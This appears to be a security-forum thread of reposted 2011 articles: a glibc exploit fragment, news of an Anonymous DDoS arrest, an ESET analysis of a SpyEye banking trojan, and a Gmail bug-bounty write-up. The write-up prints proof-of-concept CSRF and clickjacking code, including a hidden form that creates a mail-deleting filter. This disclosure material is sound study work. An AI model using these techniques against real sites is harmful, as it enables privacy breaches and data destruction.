this memory is not used within our limited scope, the code that eventually may use this will never be reached after the overflow, thus not requiring any patching. I hope this method of forcing the reordering of chunks allocation being useful to you. [1] http://lists.grok.org.uk/pipermail/full-disclosure/2011-December/084717.html Sursa: http://rcvalle.com/post/14261796328/more-on-exploiting-glibc-tzfile-read-integer-overflow

[h=1]FBI Arrests ‘Anonymous’ Member for Attack Against GeneSimmons.com[/h] Dec 13, 2011 6:46pm The FBI arrested a member of the hacktivist group Anonymous today, for allegedly launching a cyberattack on the website of heavy metal legend and KISS frontman Gene Simmons. Simmons drew the ire of Anonymous members last October, when he took part in an anti-piracy conference and called for a crackdown on file and music sharing on the Internet. Members of the group allegedly shut down his web site, GeneSimmons.com, with a distributed denial of service attack. Distributed denial of service attacks (DDoS) flood Internet sites and computer networks with requests for information and commands, making the networks and Web sites unavailable to computer users. Anonymous member Kevin George Poe, allegedly one of the group who took part in the attack, was arrested today after being charged in an indictment with conspiracy and unauthorized impairment of a protected computer, according to the U.S. Attorney’s Office in Los Angeles. Poe, who lives in Connecticut, turned himself in to federal agents at the U.S. District Courthouse in Hartford for an initial appearance and was released on a personal recognizance bond. Deirdre Murray, a lawyer with the federal defenders office who represented Poe, did not return a call for comment on the case today. Poe is expected to appear at the federal Court in Los Angeles at a later date. Anonymous has been prolific in retaliating against individuals that they don’t agree with. In February, the group hit a U.S. computer security firm named HB Gary and targeted the CEO for allegedly claiming that the firm had infiltrated Anonymous and would disclose details about the group’s membership to the FBI. Members of the group hacked the HBGary website, posting a message on the firms website, allegedly downloaded thousands of emails and to top it off hijacked the CEO’s Twitter account where they posted obscene tweets along with his personal data including home address, social security number and telephone number. Last month the group had pledged to name and expose members of the Zeta drug cartel in what they dubbed OpCartel. Earlier this year, the FBI executed a series of search warrants around the country in relation to last year’s cyberattacks that targeted MasterCard, Visa and PayPal after the companies cut off financial donations to Wikileaks following the website’s release of U.S. diplomatic cables. The search warrants were executed in conjunction with arrests in the United Kingdom of five people who were accused of playing a role in what was dubbed “Operation Payback.” Sursa: http://abcnews.go.com/blogs/politics/2011/12/fbi-arrests-anonymous-member-for-attack-against-genesimmons-com/

ClubHack Magazine #23 December 2011 By MaxiSoler on 15 December 2011 in Papers with No Comments The ClubHack Magazine is the first ‘hacking‘ magazine in India. 0×00 Tech Gyan – GSM 0×01 Tool Gyan – Echo Mirage 0×02 Mom’s Guide – OWASP Mobile Security Project 0×03 Legal Gyan – Reasonable Security Practices under Information Technology (Amendment) Act, 2008 0×04 Matriux Vibhag – Forensics – Part III 0×05 Poster – Mobile Warfare Check http://chmag.in for articles. Download: http://chmag.in/issue/dec2011.pdf Sursa: http://www.vulnerabilitydatabase.com/2011/12/clubhack-magazine-issue-23-december-2011/

Pentru cei interesati: WebGL Cross-Domain Image Stealer

[h=1]Spam campaign uses Blackhole exploit kit to install SpyEye[/h] by Sébastien Duquette Malware Researcher This article was written in collaboration with my colleague Jean-Ian Boutin. The Wigon botnet (also known as Cutwail) is being used in a massive spam campaign. A multitude of ruses are used to get the user to click on a link: fake LinkedIn or Facebook notifications, free Windows licenses, fake deliveries etc. The links are pointing to the Blackhole exploit kit which attempts to install malware on the computer via unpatched security flaws. The kit attempts to use the recently added exploit CVE-2011-3544 for Java. A lot of systems have not yet been patched for this vulnerability leaving them at risk of being compromised; screenshots of Blackhole panels published by french malware researchers Xylitol and Malekal both show infection success rates over 80%. CVE-2011-3544 now exploited by Blackhole The following screenshot shows a part of the decompiled code of the Java applet used by Blackhole which is exploiting the flaw. JAR file exploiting CVE-2011-3544 One of the file dropped through this spam campaign is a SpyEye sample detected as Win32/Spy.SpyEye Trojan by ESET. This banking trojan was configured to steal banking information from clients of BAWAG PSK, the fourth largest bank in Austria. Once a computer is infected, the malware has the ability to change the webpages content seen by the user when visiting BAWAG eBanking services. The following screenshots show that the phishing warning as well as the bank contact information is removed from the login page by the malware . Phishing warnings and contact information removed by SpyEye Once the user logs in, his personal information is stored and sent to the C&C server. According to the SpyEye tracker, the C&C server used by this sample is still online and is hosted in Azerbaijan. An obfuscated JavaScript is inserted in the eBanking webpage and is used to transfer money from the user account to the cybercriminal account. This script has also the ability to hide operations that were done on the user account by modifying the content of the account balance and transfer history. The following screenshot shows a code snippet used to modify the account balance in order to hide a transfer that has already occurred. Finally, here is a screenshot showing the code used to send status information when a successful transfer occurs. BAWAG PSK has been notified of this targeted attack. As always we advise our readers not to click links in spam or suspicious messages and to keep their installed software and antivirus up to date. Sursa: Blackhole and SpyEye used in spam campaign | ESET ThreatBlog

[h=1]Microsoft to begin silently updating IE in 2012[/h] Angela Moscaritolo December 15, 2011 Coming next month, Internet Explorer (IE) users will no longer have to manually upgrade their web browser. Microsoft, beginning in January, will automatically upgrade Windows customers to the latest version of IE available for their PC, Ryan Gavin, senior director of IE, said in a blog post Thursday. The Redmond, Wash.-based computing giant's move to embrace what is known as “silent updates” follows actions already taken by Google, which pioneered the concept for its Chrome web browser in 2009, and Mozilla, which announced recently it is working on a mechanism for automatic Firefox updates. Microsoft is aiming to better protect users from threats, such as social-engineered malware, which often targets out-of-date web browsers, Gavin said. “The web overall is better – and safer – when more people run the most up-to-date browser,” he wrote. “Our goal is to make sure that Windows customers have the most up-to-date and safest browsing experience possible, with the best protections against malicious software, such as malware.” Industry experts agreed that silent updates are a step forward for security. “Silent updating is generally seen as a big improvement to security on the internet,” Wolfgang Kandek, CTO of vulnerability management firm Qualys, wrote in a blog post Thursday. Kandek referenced a study conducted by researchers at the Swiss technical university ETH, which found that 97 percent of Chrome users updated their browser within three weeks of a new version release, compared to 85 percent of Firefox users, 53 percent of those using Apple Safari, and 24 percent of Opera users. Silent updates allow systems to stay secure “most of the time,” take some of the onus for security off users, and shorten the window of opportunity attackers have to use known exploits against outdated browsers, according to the study. Microsoft said that beginning in January, IE will be silently upgraded for customers who have opted-in to automatic updates on the Windows Update service. It will begin first with customers in Australia and Brazil, then “take a measured approach, scaling up over time.” The silent update will eliminate the pop-up window that currently allows users to opt-out or postpone available browser upgrades, Kandek said. Users who have declined previous installations of IE8 and 9 will not be automatically updated. Additionally, customers can uninstall updates and continue to receive support for the copy of IE they purchased with Windows. Enterprise users who tightly control their patches will not be affected, as they will still have full control over the versions of their browsers, Kandek said. Sursa: Microsoft to begin silently updating IE in 2012 - SC Magazine US

[h=1]Hacking Google for Fun and Profit[/h]Dec 14th, 2011 At the end of last year, Google announced their Vulnerability Reward Program which rewards security researchers for reported security and privacy holes in Google properties. This sounded like an interesting challenge, and I set out to find security holes. I found three, got paid, and am now in the Google Security Hall of Fame. All and all, a rewarding experience. Below I describe the three security holes that I found. [h=2]Determining if a user has emailed another user[/h] In my opinion, this is the most subtle, but also the most disturbing, of the three bugs. As with the other bugs that I found, this was an example of Cross Site Request Forgery- the practice of convincing a user’s browser to make a request on their behalf to a remote server. This type of attack generally only works when the user is logged in to the remote service. In this case, if a user is already logged into Gmail (and they usually are), a malicious website could make a series of requests for Gmail profile images and, based on the return codes, determine whether or not the visitor had communicated with another Gmail user. This worked because Gmail, as a well-intentioned privacy measure, would only show profile images to a viewer if they had had mutual contact. Here is some example code that worked at the time: checkUsername[TABLE] [TR] [TD=class: gutter] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 [/TD] [TD=class: code] function checkUsername(username, callback) { var image = new Image(); image.onload = function() { callback(true); }; image.onerror = function() { callback(false); }; image.src = "https://mail.google.com/mail/photos/" + username + "%40gmail.com?1&rp=1&pld=1&r=" + (new Date()).getTime(); } checkUsername("fbi-reports", function(hasEmailed) { alert("The current visitor " + (hasEmailed ? "has" : "has not") + " emailed the FBI."); }); checkUsername("wikileaks", function(hasEmailed) { alert("The current visitor " + (hasEmailed ? "has" : "has not") + " emailed WikiLeaks."); [/TD] [/TR] [/TABLE] It should be clear why this is a serious privacy concern. If you suspected someone of being a whistleblower, for example, you could make a page that probed a bunch of revealing email addresses and checked to see if any had been contacted. Luckily, Google reports that they have now fixed this bug. Cross Site Request Forgery attacks can usually be prevented by adding a CSRF token (a unique and user-specific token) to every request. [h=2]Identification of a user’s Gmail address[/h] This bug would have allowed a malicious website to determine your Google username if you were simultaneously logged into your Google account and typed anything into a seemingly innocuous web form. One of the fields in the form would actually be an iframe pointing to a public Google Document. When the user typed into the field, they would really be entering text into the Google Document, and what appeared to be their cursor in the field would actually be the Google Document insertion point. When a user typed into the field, the attacker could determine their username (and hence email address) by observing the publicly-displayed list of current document editors. Again, this is a type of Cross Site Request Forgery, specifically known as Clickjacking, which can be especially hard to prevent. There are many types of Clickjacking, almost all of which use iframes. One approach, which I used here, is to artfully display content from a target site in such a way as to look like it’s part of the current page. Another approach is to hide the iframe invisibly under the user’s cursor, moving it as the cursor moves, and causing the user to click on the other site without realizing it. Google correctly used the X-XSS-Protection.aspx) and X-Frame-Options headers, but some browsers do not honor these. The solution to this one is tricky, but it is generally to use frame busting, to provide appropriate headers, to use CSRF tokens, and to not expose any user information without a direct user interaction. [h=2]Deletion of all future email[/h] The third bug that I found was a fairly severe security hole that affected a portion of Gmail users. Due to a missing CSRF token during the first step of the filter creation flow in the HTML-only version of Gmail, a malicious site could trick visitors into creating a Gmail filter that would delete all future received email. This worked in the current (at the time) version of Firefox, but not in Chrome or Safari due to their correct handling of the x-frame-options header. I didn’t test it in IE. This security hole was exploitable via a combination of a classic Cross Site Request Forgery with a Clickjacking attack. First, I discovered that it was possible to submit the first part of the filter creation flow in an iframe using JavaScript because Google had forgotten to include a unique CSRF token in the form. [TABLE] [TR] [TD=class: gutter] 1 2 3 4 5 6 7 8 [/TD] [TD=class: code] <form id='form' method='POST' target='iframe' action='https://mail.google.com/mail/h/ignored/?v=prf' enctype='multipart/form-data'> <input type=hidden name='cf1_hasnot' value='adfkjhsdf'> <input type=hidden name='s' value='z'> <input type=hidden name='cf2_tr' value='true'> <input type=hidden name='cf1_attach' value='false'> <input type=hidden name='nvp_bu_nxsb' value='Next Step'> <input type='submit' style='display: none'> </form> [/TD] [/TR] [/TABLE] I then positioned the iframe such that the “Create Filter” button on the subsequent page would fill the frame without showing the button border; only the word “Create” was visible. A fake button was then shown around the iframe with a style that matched the gmail style such that when the user believed they were submitting a form with a submit button entitled “Create,” they were really creating a malicious and destructive filter in Gmail. Google says this has now been fixed. [h=2]Google’s Response[/h] In all three cases, Google responded promptly to my security report and fixed the bug within a reasonable amount of time. I was given two $500 awards for the three bugs. Google generously doubled these amounts when I chose to donate them to charity, so the Athens Conservency and the Buckeye Forest Council, two of my favorite local charities in Athens, OH, received one thousand dollars each, care of Google. These were subtle bugs. They took trial and error to find. However, in total, I only spent a few spare evenings of my time. If Google’s products- some of the most secure in the world- are suseptible to these sorts of attacks, you can bet many others are as well. Every programer makes these mistakes sometimes. Security is too complicated for anyone to get right all of the time. Check your code! [h=2]Take your security into your own hands… or, why you should hack Google too![/h] Many companies try to silence security bug reporters through legal threats and sometimes even action, driving discoverers of bugs underground and onto the black market where such knowledge can do real harm. Google has set an admirable example by creating a program that is enlightened, responsive, and well-run, and I hope other companies move in the same direction. I had a great time using jsFiddle to explore and demonstrate bugs. You can do the same– check out their guidelines and do your part to improve the security of products that you love. Enjoyed this post? You should follow me on Twitter. Posted by Andrew Cantino Dec 14th, 2011 Hacking Google for fun and profit - andrew makes things